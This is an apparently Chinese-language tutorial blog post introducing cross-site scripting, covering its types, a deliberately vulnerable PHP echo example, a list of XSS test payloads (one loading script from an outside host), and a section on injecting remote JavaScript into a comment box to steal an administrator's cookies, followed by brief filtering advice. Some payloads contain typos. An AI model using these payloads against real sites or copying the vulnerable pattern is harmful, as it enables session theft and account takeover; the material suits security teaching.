关注我

    我的微信
在线咨询 x
在线咨询
有什么可以帮到你
点击咨询

浅谈XSS攻击(Cross Site Scripting)

简介恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

一、跨站脚本攻击过程


跨站脚本攻击过程.png


二、XSS攻击定义及危害


1 、XSS攻击的定义 


跨站脚本攻击(Cross Site Scripting),为不和层叠 样式表(Cascading Style Sheets, CSS)的缩写混淆, 故将跨站脚本攻击缩写为XSS。 恶意攻击者往Web页面里插入恶意Script代码,当 用户浏览该页之时,嵌入其中Web里面的Script代 码会被执行,从而达到恶意攻击用户的特殊目的。


2、跨站脚本攻击过程XSS攻击的危害 


2.1、这些危害包括但不局限于: 

2.2、盗取管理员或普通用户cookie、session;

2.3、读取、篡改、添加、删除敏感数据;

2.4、网站挂马; 

2.5、非法转账;

2.6、控制受害者机器向其它网站发起攻击;


三、XSS攻击常见分类


1、反射型XSS:只是简单地把用户输入的数据反射给浏览器,黑 客需要诱使用户点击链接。也叫作”非持久型XSS“(Non- persistent XSS)。

例子:

假设一个页面把用户输入的参数直接输出到页面上:

<?php   

    $input = $_GET["param"];
    echo "<div>".$input."</div>";


正常情况下,用户想param提交数据会展示到页面中,比如:

http://127.0.0.1/xss.php?param=This is a test! 

会得到如下结果:

反射型XSS.png

在查看页面源代码,可以看到:

<div>/testXSS</div> 

但是如果提交一段HTML代码:

http://127.0.0.1/xss.php?param=<script>alert(/testXSS!/)</script> 

会发现,alert(/testXSS!/)在当前页面执行了:

反射型XSS.png


2、存储型XSS:把用户输入的数据”存储“在服务器端。这种 XSS具有很强的稳定性。比较常见的一个场景是,攻击者写下一 篇包含恶意Javascript代码的博客文章,文章发表后,所有访问 该博客文章的用户,都会在他们的浏览器中执行这段恶意的 Javascript代码。黑客把恶意的脚本保存在服务器端。存储型 XSS也叫持久性XSS。

3、DOM based XSS:从效果上来说也是一种反射型XSS。通 过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。


四、XSS攻击常见测试语句


<img src=1 alert(1)> (显示1)

<script>alert("xss")</script> (显示xss)

<script>alert(document.cookie)</script> (显示cookie)

<script>window.location="(你的黑页地址)";</script>

<img src="javascript:alert('XSS')">

<script>alert(document.cookie)</script>

'><script>alert(document.cookie)</script>

"+alert('XSS')+"

<script src="http://xss.io/a.js"></script>

<div onclick="alert('xss')">

<div onmouseenter="alert('xss')">

"onclick="alert(document.cookie)


五、XSS的利用


说了一大堆,大家以为 XSS就是弹窗,其实错了,弹窗只是测试XSS的存在性和使用性。

这时我们要插入JS代码了。

可以这样

<script scr="js_url"></script> 

或者这样

<img src=x onerror=appendChild(creatElement('script')).src='js_url'>

各种姿势,各种插,只要能够运行我们的js就可以,js可以干很多事,可以获取cookies控制用户的动作等。

比如我们在网站的留言区输入下面的代码:

<script scr="js_url"></script> 

当管理员进入后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等都可以获取到。


六、XSS的防御


现在的XSS如此流行,原因何在。我想大家应该都知道,就是在输入的时候没有做严格的过滤,而在输出的时候,也没有进行检查,转义,替换等

所以防范的方法就是,不信任任何用户的任何输入,对每个用户的输入都做严格检查,过滤,在输出的时候,对某些特殊字符进行转义,替换等